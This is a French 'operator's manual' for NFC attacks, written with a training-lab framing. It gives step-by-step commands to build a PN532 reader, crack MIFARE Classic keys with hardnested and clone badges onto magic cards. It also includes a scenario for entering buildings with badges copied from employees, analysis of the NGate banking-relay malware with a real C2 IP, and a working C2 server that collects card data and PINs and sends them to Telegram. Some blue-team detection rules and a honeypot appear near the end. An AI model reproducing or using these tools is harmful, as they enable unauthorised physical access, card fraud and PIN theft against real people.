NFC Raider 2026 – Manuel opératif ultime

🎯 Introduction – Du technique à la stratégie

Ce guide dépasse le simple tutoriel technique. Il intègre une doctrine opérationnelle : modélisation d’attaque, profils d’adversaires, arbres de décision, métriques temps/coût, et réponse Blue Team. Vous ne deviendrez pas seulement un technicien NFC, mais un opérateur autonome capable de penser comme un attaquant et de défendre comme un professionnel.

⚔️ 1. NFC Kill Chain – De la reconnaissance à la monétisation

Une attaque NFC réelle suit un cycle structuré. Voici les phases, avec exemples concrets et les artefacts détectables par une défense.

🎭 2. Profils d’adversaires – Capacités, coûts, risques

Cette typologie permet d’adapter les contre‑mesures : un script kiddie sera arrêté par un simple honeypot, un APT nécessitera une détection comportementale poussée.

🛠️ 3. Lecteur NFC DIY – Raspberry Pi + PN532 (SPI)

Matériel, câblage, installation logicielle et création du fichier blank.mfd. Chaque commande est expliquée en détail.

3.1 Matériel nécessaire

Alternatives haut de gamme : Proxmark3 (80‑120€) ou Chameleon Ultra (60‑80€). Le choix de l’outil dépend de la mission :

• PN532 : DIY discret, faible coût, idéal pour lab portable.
• Proxmark3 : analyse deep, sniff HF, attaques complexes.
• Chameleon Ultra : émulation rapide, replay de plusieurs profils.
• Flipper Zero : opérations terrain, polyvalent.

3.2 Câblage SPI

Important : Placez les switches du PN532 en position SPI (voir documentation). Utilisez une pince à épiler pour basculer délicatement les micro-interrupteurs.

3.3 Installation logicielle – Explications pas à pas

Voici les commandes pour configurer votre Raspberry Pi. Chaque bloc est commenté pour comprendre son rôle.

# Mise à jour du système
sudo apt update && sudo apt upgrade -y

# Installation des dépendances nécessaires
# screen : sessions persistantes, git : clonage des dépôts, apache2 : serveur web local,
# hexcurse : éditeur hexadécimal, autoconf/libtool : compilation, libusb-dev : accès USB
sudo apt install -y screen git apache2 hexcurse autoconf libtool libusb-dev

# Activer l'interface SPI du Raspberry Pi (nécessaire pour communiquer avec le PN532)
sudo raspi-config nonint do_spi 0

# Cloner et installer libnfc (bibliothèque de base pour NFC)
git clone https://github.com/nfc-tools/libnfc.git
cd libnfc
autoreconf -vis          # génère les fichiers de configuration
./configure --prefix=/usr --sysconfdir=/etc   # prépare l'installation
make                     # compile
sudo make install        # installe dans le système
sudo ldconfig            # met à jour la bibliothèque dynamique

# Configuration de libnfc pour utiliser le PN532 en SPI
sudo mkdir /etc/nfc
sudo cp libnfc.conf.sample /etc/nfc/libnfc.conf
echo 'device.name = "PN532 Reader (SPI)"' | sudo tee -a /etc/nfc/libnfc.conf
echo 'device.connstring = "pn532_spi:/dev/spidev0.0:50000"' | sudo tee -a /etc/nfc/libnfc.conf

# Vérification que le lecteur est bien détecté
nfc-scan-device   # doit afficher "PN532 Reader (SPI)"

# Installation de mfoc-hardnested (outil de récupération de clés MIFARE)
cd ~
git clone https://github.com/nfc-tools/mfoc-hardnested.git
cd mfoc-hardnested
autoreconf -vis
./configure
make
sudo make install
cd ~

# Ajout de swap 4 Go (indispensable pour les attaques hardnested qui consomment beaucoup de RAM)
sudo fallocate -l 4G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
echo '/swapfile swap swap defaults 0 0' | sudo tee -a /etc/fstab
echo 'vm.swappiness=100' | sudo tee -a /etc/sysctl.conf   # augmente l'utilisation du swap

3.4 Fichier blank.mfd (badge vierge) – création et explication

Ce fichier représente un badge MIFARE Classic 1K totalement vierge, avec un UID par défaut (01234567) et des clés par défaut (FFFFFFFFFFFF) pour tous les secteurs. Il servira de base pour vos manipulations.

# Créer un fichier vide de 1024 octets (taille d'un MIFARE Classic 1K)
dd if=/dev/zero of=blank.mfd bs=1 count=1024

# Écrire l'UID et le BCC (bloc 0) – les 8 premiers octets
# 01 23 45 67 = UID sur 4 octets, 00 = BCC, 08 00 = données manufacturier
printf '\x01\x23\x45\x67\x00\x00\x08\x00' | dd of=blank.mfd bs=1 seek=0 conv=notrunc

# Remplir les 16 sector trailers (tous les 4 blocs) avec des clés par défaut
# Chaque secteur trailer fait 16 octets : Key A (6) + Access Bits (4) + Key B (6)
# Les valeurs par défaut : Key A = FFFFFFFFFFFF, Access Bits = FF078069, Key B = FFFFFFFFFFFF
for i in {3..63..4}; do
    printf '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x07\x80\x69\xFF\xFF\xFF\xFF\xFF\xFF' | dd of=blank.mfd bs=1 seek=$((i*16)) conv=notrunc
done

Explication : MIFARE Classic 1K possède 16 secteurs de 4 blocs chacun (blocs 0‑3 pour secteur 0, 4‑7 pour secteur 1, etc.). Le dernier bloc de chaque secteur (bloc 3, 7, 11, …, 63) est le « sector trailer » qui contient les clés et les droits d'accès. En remplissant tous ces blocs avec les clés par défaut, on obtient un tag utilisable avec les outils standard.

⚡ 4. MIFARE Classic – Vulnérabilité et arbre de décision

4.1 Pourquoi MIFARE Classic est cassé

• Crypto1 : chiffrement symétrique 48 bits, faible entropie. La clé est trop courte pour résister à des attaques modernes.
• PRNG faible : le générateur de nombres aléatoires peut être prédit après quelques milliers d’authentifications.
• Nested attack : une clé connue permet de dériver toutes les autres. Exploite le fait que le lecteur utilise la même clé pour plusieurs secteurs ou que l’authentification est itérative.
• Hardnested attack : même sans clé initiale, ~1000 échanges suffisent pour reconstruire la clé par corrélation statistique. Cette attaque fonctionne encore en 2026 car les lecteurs doivent rester compatibles avec les anciens tags.

4.2 Arbre de décision opérationnel (avec métriques)

4.3 Détection des clones chinois (Gen1/Gen2/Gen3)

Les clones chinois (« Magic Cards ») se distinguent par leur capacité à modifier l’UID. Utilisez ce script pour détecter le type :

#!/bin/bash
echo "Test d'écriture du bloc 0 (UID) :"
nfc-mfsetuid 11223344 -q 2>/dev/null
if [ $? -eq 0 ]; then
    echo "[+] Gen1/Gen2 : UID modifiable via commande standard"
else
    echo "[-] Pas de support nfc-mfsetuid, test commande backdoor 0x40..."
    python3 -c "
import nfc
clf = nfc.ContactlessFrontend('usb')
tag = clf.connect(rdwr={'on-connect': lambda t: False})
if hasattr(tag, 'cl3_write_uid'):
    print('[+] Gen3 détecté (backdoor 0x40)')
else:
    print('[-] Tag non clonable ou Gen inconnu')
"
fi

Explication : nfc-mfsetuid fonctionne sur les clones Gen1 et Gen2. Si ça échoue, on teste la commande backdoor 0x40 (spécifique aux Gen3) via la bibliothèque nfc en Python. Certains Gen3 nécessitent un mot de passe supplémentaire.

4.4 Commandes essentielles – explications

# Lecture d'un tag avec les clés par défaut (Key A)
# r = read, a = utiliser Key A, u = prendre le premier UID trouvé, dump.mfd = fichier de sortie
nfc-mfclassic r a u dump.mfd

# Écriture d'un fichier dump sur un tag (clonage)
# w = write, a = utiliser Key A, u = premier UID, dump.mfd = fichier source
nfc-mfclassic w a u dump.mfd

# Écriture forcée (y compris le bloc manufacturier) – réservé aux clones chinois
nfc-mfclassic W a u dump.mfd   # W majuscule = écriture forcée

# Changement d'UID (uniquement sur clones Gen1/Gen2)
nfc-mfsetuid 8302C5CD   # remplace l'UID par 8302C5CD

# Réinitialisation d'un clone corrompu (efface tout et remet les clés par défaut)
nfc-mfsetuid -f -q && nfc-mfclassic W a u blank.mfd

Conseil : Avant toute écriture, vérifiez que vous utilisez bien un clone chinois si vous voulez modifier le bloc 0. Sinon, une erreur se produira.

📲 5. NGate – Deep dive : timeline, réseau, détection

5.1 Timeline d’attaque réelle

Explication : L'utilisateur installe une fausse application bancaire (par phishing). L'application demande à approcher la carte et à saisir le PIN. En arrière‑plan, elle capture les APDU et les envoie à un serveur C2. Un complice, situé près d'un ATM, reçoit ces données et les rejoue via un téléphone en mode HCE, trompant le terminal bancaire.

5.2 Déchiffrement config (sandbox obligatoire)

#!/usr/bin/env python3
import binascii, hashlib
# key = SHA-256(certificate DER) – exemple tiré d’un échantillon CERT Polska
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct_hex = open("____", "r").read().strip()
ct = binascii.unhexlify(ct_hex)
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Explication : Le fichier ____ contient une chaîne hexadécimale. On la convertit en bytes, puis on la déchiffre avec un XOR répétitif utilisant la clé dérivée du certificat. Le résultat est un fichier de configuration texte avec des paramètres comme host:=91.84.97.13 et port:=5653.

5.3 Détection réseau avancée & IOCs

• JA3 fingerprint : certaines souches utilisent TLS ; le fingerprint JA3 peut être utilisé pour identifier les connexions malveillantes.
• DNS tunneling : les requêtes DNS vers des sous‑domaines aléatoires (ex: xyz.ngate-c2.com) peuvent trahir une communication C2.
• Entropie élevée dans les paquets : les APDU sont souvent compressées ou chiffrées, ce qui augmente l'entropie.
• Indicateurs de compromission (IOC) : port 5653, patterns APDU (SELECT PPSE), comportement HCE anormal.

sudo tcpdump -i any -X port 5653

Explication : Cette commande capture en direct tout le trafic sur le port 5653 et affiche le contenu hexadécimal. Permet de visualiser les trames NGate.

5.4 Serveur C2 avec alertes Telegram

#!/usr/bin/env python3
import socket, threading, struct, requests
from datetime import datetime

TELEGRAM_BOT_TOKEN = "VOTRE_TOKEN"
TELEGRAM_CHAT_ID = "CHAT_ID"

def send_telegram(msg):
    if TELEGRAM_BOT_TOKEN != "VOTRE_TOKEN":
        requests.post(f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage",
                      json={"chat_id": TELEGRAM_CHAT_ID, "text": msg})

def handle_client(conn):
    try:
        raw_len = conn.recv(4)
        if not raw_len: return
        length = struct.unpack(">I", raw_len)[0]
        opcode = struct.unpack(">I", conn.recv(4))[0]
        body = conn.recv(length)
        if opcode == 0x01:
            print(f"[!] {datetime.now()} CARD DATA: {body.hex()}")
            send_telegram(f"Card data: {body.hex()}")
        elif opcode == 0x02:
            pin = body.decode()
            print(f"[!] PIN CAPTURED: {pin}")
            send_telegram(f"PIN: {pin}")
    except Exception as e:
        print("Error:", e)
    finally:
        conn.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 5653))
server.listen(5)
print("[*] NGate C2 listening on 5653")
while True:
    conn, addr = server.accept()
    threading.Thread(target=handle_client, args=(conn,)).start()

Explication : Ce serveur écoute les connexions entrantes. Il lit d'abord la longueur (4 octets), puis l'opcode (4 octets), puis le corps. Selon l'opcode (0x01 pour données carte, 0x02 pour PIN), il affiche et envoie une notification Telegram. C'est une simulation de C2 pour les tests.

5.5 Côté attaquant – Proxmark3 relay

# Émuler un tag avec un UID fixe (exemple)
proxmark3 -c "hf 14a sim -t 1 -u 12345678"

# Mode relay : retransmet en temps réel ce que le lecteur envoie vers un tag distant
proxmark3 -c "hf 14a relay"

Explication : La première commande simule un tag avec un UID donné. La seconde place le Proxmark3 en mode relay : il écoute les commandes d'un lecteur et les transmet à un tag distant (via un second Proxmark ou un tunnel). C'est ainsi que les attaquants rejouent les sessions EMV.

🛡️ 6. Contre‑mesures & Blue Team Playbook

6.1 Détection HCE non‑système (Android)

Sur Android, restreignez l’utilisation du NFC en mode HCE :

• GrapheneOS / CalyxOS : utilisez le pare‑feu réseau pour bloquer les applis non autorisées, désactivez le mode HCE dans les paramètres de sécurité.
• AppOps : adb shell appops set com.malicious.app NFC 1 pour interdire l’accès NFC à une application suspecte.

6.2 Règles Falco (détection en temps réel)

Falco surveille les appels système. Voici une règle pour détecter une rafale de commandes SELECT PPSE sur le bus USB :

- rule: Mass NFC SELECT PPSE
  desc: Détecte un grand nombre de commandes SELECT PPSE
  condition: >
    evt.type=read and fd.name=/dev/usbmon* and
    evt.buffer contains "A4 04 00 0E 32 50 41 59 2E 53 59 53"
  output: "NFC relay suspect (SELECT PPSE répété) (command=%evt.buffer)"
  priority: CRITICAL

Explication : La condition cherche dans le tampon lu depuis un périphérique USB (usbmon) la présence de la chaîne hexadécimale correspondant à la commande SELECT PPSE. Si cette séquence apparaît plusieurs fois en peu de temps, elle déclenche une alerte.

6.3 Détection de relay par anomalie géographique

Les banques comparent désormais la localisation de l’ATM et celle du téléphone de la victime via GPS. Un écart >500m déclenche un blocage. En lab, simulez cette détection en enregistrant les coordonnées fictives.

6.4 Honeypot NFC

Un script Python qui surveille en permanence les accès NFC et déclenche une alerte dès qu’un tag inconnu est scanné.

import nfc, time
def on_connect(tag):
    print(f"[ALERTE] Tag scanné : UID={tag.identifier.hex()}")
    return True
clf = nfc.ContactlessFrontend('usb')
while True:
    clf.connect(rdwr={'on-connect': on_connect})
    time.sleep(0.1)

6.5 Blue Team – Comment une banque / entreprise réagit

• Surveillance des bursts APDU : plus de 5 SELECT PPSE en 10 secondes = alerte.
• Analyse des logs USB : détection de périphériques NFC inconnus.
• Isolement réseau : bloquer les connexions sortantes vers IPs de C2 (ex: 91.84.97.13).
• Honeytokens : badges factices qui, une fois lus, déclenchent une alarme.
• Authentification à deux facteurs pour les accès physiques critiques.

⚠️ 7. Erreurs classiques à éviter

• Lancer hardnested sans besoin : perte de temps énorme, commencez toujours par le dictionnaire.
• Ne pas vérifier le type de clone : utiliser nfc-mfsetuid sur un tag Gen3 le rend inutilisable.
• Oublier les access bits : un mauvais réglage peut verrouiller définitivement un secteur.
• Exécuter le déchiffrement config NGate sur un APK réel : risque d’exécution de code malveillant.
• Ignorer les faux positifs : un paiement légitime peut générer des SELECT PPSE – utilisez des seuils de latence pour distinguer.
• Ne pas documenter ses tests : en lab, tenez un journal (logs, captures, succès/échecs).

🏢 8. Scénario réel – Clonage badge entreprise → accès bâtiment → pivot

1. Recon : l’attaquant scanne les badges des employés dans un café (sniff passif).
2. Exploit : il récupère les clés MIFARE avec hardnested (1h).
3. Clonage : il écrit le dump sur un clone chinois.
4. Accès physique : il entre dans le bâtiment avec le clone.
5. Pivot : une fois à l’intérieur, il utilise un Raspberry Pi pour relayer le badge vers un collègue extérieur (relay).
6. Monétisation : vol de documents sensibles ou intrusion réseau.

Chaque étape est simulable en lab avec les outils du tutoriel.

📊 9. Comparatif des protocoles NFC (avec relay possible)

🔬 10. Exercices pour les Apaches

1. Construire le lecteur portable et l’alimenter avec une batterie externe.
2. Lire un badge MIFARE vierge, modifier son contenu avec hexcurse, le réécrire.
3. Récupérer les clés d’un badge personnel avec mfoc-hardnested.
4. Simuler l’attaque NGate avec deux téléphones Android (mode lecteur + HCE).
5. Créer un tag lisible par iPhone (blank_iPhone.mfd).
6. Capturer un échange EMV avec tcpdump et décoder les APDU.
7. Écrire une règle Suricata pour bloquer les connexions sortantes vers IP de C2.
8. Mettre en place un honeypot NFC avec notification Telegram.

📁 11. Annexes – Templates MIFARE et outils

Les trois fichiers essentiels sont fournis via les commandes wget ci‑dessous. Pour un environnement totalement isolé, vous pouvez les récupérer une fois, puis les conserver localement.

cd ~/nfc
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank_iPhone.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/sample_with_keys.mfd

Le fichier sample_with_keys.mfd contient les clés 1DB6261B7C / D43648824A42 et les access bits 7F0788.

11.1 Script de nettoyage automatique (reset clones chinois)

#!/bin/bash
echo "Reset du badge clone..."
nfc-mfsetuid -f -q
nfc-mfclassic W a u blank.mfd
echo "Terminé."

11.2 Access Bits Calculator (local)

Pour calculer facilement les bits d’accès MIFARE, installez ce calculateur sur votre Raspberry Pi :

cd ~
git clone https://github.com/akafugu/MIFARE-Classic-1K-Access-Bits-Calculator.git
sudo cp -r MIFARE-Classic-1K-Access-Bits-Calculator/* /var/www/html/
# Accédez via http://nfclab.local/mifareWidget/

📖 12. Glossaire

• APDU : Application Protocol Data Unit – commandes échangées entre lecteur et carte.
• EMV : Europay Mastercard Visa – standard des cartes à puce.
• HCE : Host Card Emulation – émulation de carte par logiciel.
• MIFARE Classic : protocole NFC ancien mais répandu, vulnérable.
• Nested attack : attaque utilisant une clé connue pour en déduire d’autres.
• Hardnested attack : attaque statistique nécessitant ~1000 authentifications.
• NGate : malware Android de relay bancaire analysé par CERT Polska.
• PN532 : module NFC populaire pour DIY.
• Proxmark3 : outil professionnel d’analyse RFID/NFC.
• Relay attack : attaque par relais prolongeant la communication entre lecteur et carte.
• TLV : Tag‑Length‑Value – format d’encodage des données EMV.
• UID : Unique Identifier – identifiant du tag.

🏁 Conclusion – Devenez un opérateur autonome

Vous possédez désormais un guide complet, de la construction matérielle à la réponse Blue Team, en passant par des arbres de décision opérationnels, des métriques temps/coût, et une intégration de la détection dans la kill chain. Ce manuel est conçu pour être utilisé en laboratoire, comme référence tactique. Appliquez ces connaissances avec éthique, et partagez les bonnes pratiques autour de vous.